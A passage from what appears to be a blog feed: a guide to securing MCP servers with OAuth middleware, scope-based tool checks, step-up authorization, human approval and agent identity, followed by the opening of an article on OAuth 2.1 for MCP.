<p>The v2 SDK uses <code>createMcpHandler</code> to handle MCP requests and creates a server instance through <code>buildServer</code>. You no longer need to create and manage the HTTP transport manually.</p>
<p><strong>Test it before adding auth.</strong> Start the server using <code>npx tsx server.ts</code>, then launch MCP Inspector:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npx @modelcontextprotocol/inspector</span><br></span></code></pre></div></div>
<p>Open the Inspector interface, select <strong>Streamable HTTP</strong>, and connect to <code>http://localhost:3000/mcp</code>. Confirm the tool lists and runs.</p>
<p><strong>Add auth.</strong> This is where your choice of authorization server becomes concrete code rather than an abstract decision. Install an MCP-aware auth SDK for your authorization server. This walkthrough uses <a href="https://wso2.com/identity-platform/docs/quick-starts/mcp-auth-server/" target="_blank" rel="noopener noreferrer" class="">WSO2 Identity Platform's</a> <code>@asgardeo/mcp-express</code> package, which provides OAuth discovery endpoints and Express middleware for protecting MCP requests.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm install @asgardeo/mcp-express</span><br></span></code></pre></div></div>
<p>Configure your organization in a <code>.env</code> file:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">BASE_URL=https://api.asgardeo.io/t/&lt;your-org&gt;</span><br></span></code></pre></div></div>
<p>Then add the authorization middleware to the existing Express application:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"dotenv/config"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> configuredAuthServer </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> auth </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"@asgardeo/mcp-express"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">use</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">router</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Replace the previous unprotected /mcp route.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> auth</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">protect</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p><code>auth.router()</code> publishes the OAuth discovery metadata that tells MCP clients where to request authorization. <code>auth.protect()</code> validates the access token before allowing the request to reach the MCP handler.</p>
<p>Keep the resource identifier and token audience consistent with your authorization server's configuration. MCP servers must reject tokens issued for another resource. Check the authorization SDK's audience-validation behavior before using it in production.</p>
<p><strong>Register your test client, then test with auth.</strong> Register the MCP server and its scopes in the WSO2 Identity Platform Console. Create an MCP Client Application, configure the Inspector's OAuth redirect URL, and authorize the application to access the MCP server.</p>
<p>Enter the resulting <code>client_id</code> in Inspector's authentication settings and complete the OAuth flow. Once connected, Inspector sends an access token with subsequent requests, which the middleware validates before the tool can run.</p>
<p>Beyond this walkthrough, keep the domain policy separate from the protocol check. With verified authorization context available to the MCP handler, a protected tool can enforce its own rules:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token string" style="color:#15803D">"delete_document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Delete a document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">string</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> ctx</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> principal </span><span class="token operator">=</span><span class="token plain"> ctx</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">http</span><span class="token operator">?.</span><span class="token plain">authInfo</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">requireScope</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"documents:delete"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> document </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> documents</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">load</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">documentId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">requireSameTenant</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">requireOwnerOrRole</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"document-admin"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">requireHumanApprovalIfSensitive</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> documents</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">remove</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">documentId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> audit</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">record</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"document.deleted"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      actor</span><span class="token operator">:</span><span class="token plain"> principal</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">extra</span><span class="token operator">?.</span><span class="token plain">subject</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      client</span><span class="token operator">:</span><span class="token plain"> principal</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">clientId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      documentId</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"text"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Document deleted"</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The policy helpers and document service are application code. The handler also assumes the authorization middleware provides verified <code>AuthInfo</code> to the v2 SDK; that handoff must be implemented and tested for the chosen integration.</p>
<p>No SDK knows your tenants, ownership rules, or approval thresholds. Validate the token at the HTTP boundary, then authorize the tool and its arguments before performing the operation. Test denied requests as well as successful ones, since a working OAuth login won't reveal cross-tenant access or incorrect audience validation.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="applying-just-enough-access">Applying just-enough access<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#applying-just-enough-access" class="hash-link" aria-label="Direct link to Applying just-enough access" title="Direct link to Applying just-enough access" translate="no">​</a></h2>
<p>Just-enough access limits permissions to the current task. Just-in-time access requests them only when the task needs them. MCP supports initial scope requests and step-up authorization, but your application must still define the policy.</p>
<p>Consider an agent helping with support tickets. Reading a ticket may require <code>tickets:read</code>. Adding a private note may require <code>tickets:write</code>. Closing a ticket may require <code>tickets:close</code> plus confirmation when the account is high value. The client should not request all three during its first connection simply because the server exposes all three tools. It begins with the access needed for the current work, receives a scope challenge only if the plan reaches a stronger operation, and asks for that stronger authority at that point.</p>
<p>Scope and duration both constrain access. A broad five-minute grant can still be dangerous; a narrow ninety-day grant may last far longer than necessary. Higher-risk operations may need shorter-lived tokens, stronger approval, resource constraints, and revocation rules.</p>
<p>Don't authorize an action solely from the model's interpretation of the user's intent. Prompts can be manipulated and interpretations can change. Evaluate concrete inputs instead: operation, resource, tenant, amount, sensitivity, risk, approval state, and time window. The agent proposes an action; policy determines whether it can run.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="applying-just-in-time-access">Applying just-in-time access<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#applying-just-in-time-access" class="hash-link" aria-label="Direct link to Applying just-in-time access" title="Direct link to Applying just-in-time access" translate="no">​</a></h2>
<p>When the current token is otherwise valid but lacks a required capability, the server returns <code>403 Forbidden</code> with <code>error="insufficient_scope"</code>, the complete scopes needed for that operation, and the resource-metadata location. This distinguishes step-up from missing or invalid authentication.</p>
<p>The client requests the union of previously requested scopes and newly required scopes. Failing to preserve the earlier set can replace rather than extend the grant, causing an authorization loop as the task alternates between operations.</p>
<p>Clients should detect repeated challenges for the same scope set, cap retries, and surface a comprehensible error. Servers should return all scopes required for the operation at once. Authorization servers should make denial explicit rather than redirecting indefinitely.</p>
<p>Stronger access should often expire sooner. A brief token for <code>payments:approve</code> or <code>production:deploy</code> reduces exposure after the action, especially when the initial read-only session may remain active for much longer.</p>
<p>OAuth does not automatically shrink a token when a task completes. Use short-lived elevated tokens, separate token caches, revocation, session termination, or policy-side task grants so exceptional authority does not silently become the next task's baseline.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="keeping-a-human-in-the-loop">Keeping a human in the loop<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#keeping-a-human-in-the-loop" class="hash-link" aria-label="Direct link to Keeping a human in the loop" title="Direct link to Keeping a human in the loop" translate="no">​</a></h2>
<p>Connection consent and action approval are separate. The first allows a client to access an MCP server. The second approves a particular operation. An OAuth consent screen doesn't replace transaction-specific approval.</p>
<p>For an online user, show action approval as close as practical to execution. The prompt should identify the tool, target, likely effect, account or tenant, and the authority being exercised. "Allow MCP access" is not meaningful consent for deleting a repository or approving a payment. At the same time, asking for confirmation before every read creates approval fatigue. Classify operations by impact and require fresh human involvement for irreversible, financially consequential, privacy-sensitive, or privilege-changing actions.</p>
<p>The connection experience should name the host or client, MCP server, authorization domain, account, and requested capability groups. The user should be able to distinguish authorizing a familiar enterprise server from sending credentials to an unknown domain.</p>
<p>Action approval should show resolved values, not only tool names: the document that will be deleted, the recipient and amount of a payment, the repository and branch of a deployment, or the people who will receive a message. Approval given before those values are known is weaker than it appears.</p>
<p>Some actions need reauthentication, MFA, a second approver, or out-of-band confirmation based on their risk, not simply because they use MCP.</p>
<p>Do not interrupt users for harmless reads and then expect careful attention to a critical payment prompt. Group low-risk operations into bounded grants, reserve explicit confirmation for meaningful consequences, and make denial or modification easy.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="refresh-tokens-provide-continuity">Refresh tokens provide continuity<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#refresh-tokens-provide-continuity" class="hash-link" aria-label="Direct link to Refresh tokens provide continuity" title="Direct link to Refresh tokens provide continuity" translate="no">​</a></h2>
<p>A refresh token can let an agent continue after the user leaves, provided the original grant remains valid. It renews access; it does not grant permission to take new kinds of actions.</p>
<p>That's only safe with preauthorized boundaries defining what the offline work is actually allowed to do: which tools and resources may be used, the maximum transaction values or number of changes permitted, the tenant or account involved, the time window the task may run in, and conditions that pause the task and request a fresh approval rather than proceeding past them. An offline agent that reaches one of those boundaries should stop, preserve its task state, and resume only after step-up authorization, not push through on the assumption that the original consent covers whatever comes next.</p>
<p>A related but distinct case has no consent moment to refer back to at all: a scheduled job or a CI pipeline authenticating as itself, not on behalf of any user. The Client Credentials extension is the specification's answer for that case specifically, additive to the core flow and requiring explicit client support to use. It should never be reached for as a shortcut to disguise a delegated human action as a machine one just to skip a consent screen; that's a misuse of the mechanism, not an efficient use of it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="authorizing-access-to-downstream-apis">Authorizing access to downstream APIs<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#authorizing-access-to-downstream-apis" class="hash-link" aria-label="Direct link to Authorizing access to downstream APIs" title="Direct link to Authorizing access to downstream APIs" translate="no">​</a></h2>
<p>Many MCP tools wrap existing APIs. The MCP client authenticates to the MCP server, while the MCP server uses a separate credential for the downstream API.</p>
<p>Don't send the MCP client's access token to that downstream API unless the downstream API is genuinely the audience that token was issued for, and don't send a downstream token back to the MCP client either. Each token stays with the resource it was issued for, following the same resource-binding rule for both hops.</p>
<p>When a tool needs a user to connect a third-party account the server doesn't already have a credential for, the server itself acts as the OAuth client to that third party: it prompts the user with an authorization URL, completes that flow, and stores the resulting downstream token itself, correlated with the user who authorized it. That credential stays server-side and never travels back through an MCP response. This is also where delegation becomes concrete rather than conceptual: the server needs to know which user authorized the downstream connection, which account was connected, and whether the current request is allowed to use it.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enterprise-managed-authorization">Enterprise-managed authorization<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#enterprise-managed-authorization" class="hash-link" aria-label="Direct link to Enterprise-managed authorization" title="Direct link to Enterprise-managed authorization" translate="no">​</a></h2>
<p>The stable enterprise-managed authorization extension addresses another problem: a user has already signed in to an enterprise MCP client, and the organization wants that identity and policy context to help obtain access to approved MCP servers without a separate manual consent ceremony for each connection.</p>
<p>The extension uses an identity assertion, token exchange, and a JWT authorization grant across the enterprise identity provider and the MCP server's authorization server. This gives administrators control over which clients, users, and servers may participate while keeping the final MCP access token audience-bound to the resource server (MCP Enterprise-Managed Authorization extension).</p>
<p>Treat this as an extension, not as the baseline flow every public client implements. It is most relevant when both client and server participate in an enterprise trust model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-the-agent-needs-its-own-identity">Why the agent needs its own identity<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#why-the-agent-needs-its-own-identity" class="hash-link" aria-label="Direct link to Why the agent needs its own identity" title="Direct link to Why the agent needs its own identity" translate="no">​</a></h2>
<p>OAuth identifies the resource owner and MCP client, but not necessarily the individual agent that chose to invoke a tool.</p>
<p>An MCP host can run several agents. Two agents built on the same model may have different system instructions, tool grants, memory, organizational owners, or risk boundaries. Even the same agent software can run as separate instances for different departments and users. Recording only the human subject and application <code>client_id</code> can leave those executions indistinguishable.</p>
<p>A <code>client_id</code> usually identifies an application or deployment, not each agent or runtime instance it hosts.</p>
<p>A desktop assistant, IDE, or enterprise orchestration platform may host agents with different owners and purposes. Giving them all the host's undifferentiated authority prevents independent policy, revocation, and accountability.</p>
<p>Agent identity doesn't replace the identity of the user behind the request. The same agent may act for Alice in one tenant and Bob in another. Policy and audit need both.</p>
<p>System instructions, enabled tools, model version, memory sources, owner, and approved operating limits can materially change risk. Bind the agent identity to a governed configuration version or record that version alongside every consequential action.</p>
<p>The identity model therefore needs to keep at least three subjects separate:</p>
<table><thead><tr><th>Identity</th><th>What it tells you</th></tr></thead><tbody><tr><td>Human or workload</td><td>Whose authority or business purpose stands behind the task</td></tr><tr><td>MCP client or host</td><td>Which software established the connection</td></tr><tr><td>Agent</td><td>Which governed runtime actor selected and performed the operation</td></tr></tbody></table>
<p>The current MCP authorization specification does not define a complete agent-identity lifecycle or a standard token claim for every agent instance. Do not invent one and present it as MCP compliance. Organizations can use workload identity, dedicated credentials, token exchange, or verifiable actor context, but these are architecture choices from the broader identity ecosystem.</p>
<p>Give each governed agent a stable identity linked to its owner and configuration. Restrict its tools, preserve actor context across authorized calls, and support independent revocation and audit.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="production-readiness-checklist">Production readiness checklist<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#production-readiness-checklist" class="hash-link" aria-label="Direct link to Production readiness checklist" title="Direct link to Production readiness checklist" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mcp-server">MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#mcp-server" class="hash-link" aria-label="Direct link to MCP server" title="Direct link to MCP server" translate="no">​</a></h3>
<ul>
<li class="">
<p>Publish RFC 9728 Protected Resource Metadata for the canonical MCP endpoint.</p>
</li>
<li class="">
<p>Return a useful <code>WWW-Authenticate</code> challenge on 401 responses.</p>
</li>
<li class="">
<p>Validate issuer, audience, expiry, token status, and scopes before MCP dispatch.</p>
</li>
<li class="">
<p>Reject tokens not issued for this MCP resource.</p>
</li>
<li class="">
<p>Return 403 with <code>insufficient_scope</code> and all scopes needed for the current operation.</p>
</li>
<li class="">
<p>Enforce tenant, ownership, object, transaction, and risk policy inside tool handlers.</p>
</li>
<li class="">
<p>Keep downstream credentials separate from MCP access tokens.</p>
</li>
<li class="">
<p>Redact secrets and sensitive arguments from logs.</p>
</li>
<li class="">
<p>Record user, client, tool, target, decision, and outcome in audit events.</p>
</li>
<li class="">
<p>Record the governed agent identity when it differs from the OAuth client.</p>
</li>
<li class="">
<p>Define which operations require transaction-specific human approval.</p>
</li>
<li class="">
<p>Test denial paths, not only the successful connection.</p>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="mcp-client">MCP client<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#mcp-client" class="hash-link" aria-label="Direct link to MCP client" title="Direct link to MCP client" translate="no">​</a></h3>
<ul>
<li class="">
<p>Support both header-directed and well-known Protected Resource Metadata discovery.</p>
</li>
<li class="">
<p>Validate authorization-server metadata and bind state to the selected issuer.</p>
</li>
<li class="">
<p>Follow the registration priority: pre-registration, Client ID Metadata Document, DCR fallback, then manual registration.</p>
</li>
<li class="">
<p>Use Authorization Code with S256 PKCE for interactive public-client flows.</p>
</li>
<li class="">
<p>Send the same canonical resource in authorization and token requests.</p>
</li>
<li class="">
<p>Validate state and authorization-response issuer information.</p>
</li>
<li class="">
<p>Store access and refresh tokens using platform-appropriate protected storage.</p>
</li>
<li class="">
<p>Keep tokens and registrations isolated by MCP resource and authorization server.</p>
</li>
<li class="">
<p>Accumulate previously requested scopes during step-up authorization.</p>
</li>
<li class="">
<p>Explain which client, server, account, and permissions the user is connecting.</p>
</li>
<li class="">
<p>Preserve and resume task state safely when offline work requires human escalation.</p>
</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="authorization-server">Authorization server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#authorization-server" class="hash-link" aria-label="Direct link to Authorization server" title="Direct link to Authorization server" translate="no">​</a></h3>
<ul>
<li class="">
<p>Provide OAuth Authorization Server Metadata or OIDC Discovery.</p>
</li>
<li class="">
<p>Support public clients and Authorization Code with S256 PKCE.</p>
</li>
<li class="">
<p>Support the MCP deployment's chosen registration mechanisms.</p>
</li>
<li class="">
<p>Issue access tokens restricted to the requested MCP resource.</p>
</li>
<li class="">
<p>Apply user, client, organization, scope, and consent policy before issuance.</p>
</li>
<li class="">
<p>Use short-lived access tokens and secure refresh-token policy.</p>
</li>
<li class="">
<p>Support key rotation, revocation, audit, and incident response.</p>
</li>
<li class="">
<p>Verify interoperability with real MCP clients, not only a generic OAuth test client.</p>
</li>
<li class="">
<p>Keep agent, client, user, and organization policy distinguishable in issued or exchanged credentials.</p>
</li>
</ul>]]></content:encoded>
            <category>MCP authorization</category>
            <category>AI Agent Identity &amp; MCP</category>
        </item>
        <item>
            <title><![CDATA[MCP and OAuth 2.1: What Actually Changed and Why It Matters]]></title>
            <link>https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained</link>
            <guid>https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained</guid>
            <pubDate>Tue, 20 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[What OAuth 2.1 tightens up compared to OAuth 2.0, and exactly what an MCP server or client has to implement.]]></description>
            <content:encoded><![CDATA[<p>You have an MCP server with useful tools, but you do not want just anyone to call them.</p>
<p>Maybe those tools can read private data, update an account, or perform actions on behalf of a user. The server needs a way to decide who is allowed to access them.</p>
<p>That is where OAuth comes in.</p>
<p>For protected MCP servers, the authorization specification builds on OAuth 2.1. If you have worked with OAuth 2.0 before, most of the model will already be familiar. OAuth 2.1 narrows that model to a smaller set of modern authorization patterns.</p>
<p>You do not need to relearn OAuth to work with MCP. You need to understand what OAuth 2.1 changes and how MCP uses it when a client connects to a protected server.</p>
<p>This article walks through those changes, shows how they fit an MCP authorization flow, and explains the discovery and resource rules MCP adds on top.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="oauth-21-is-a-consolidation-not-a-reinvention">OAuth 2.1 is a consolidation, not a reinvention<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-oauth-2-1-explained#oauth-21-is-a-consolidation-not-a-reinvention" class="hash-link" aria-label="Direct link to OAuth 2.1 is a consolidation, not a reinvention" title="Direct link to OAuth 2.1 is a consolidation, not a reinvention" translate="no">​</a></h2>
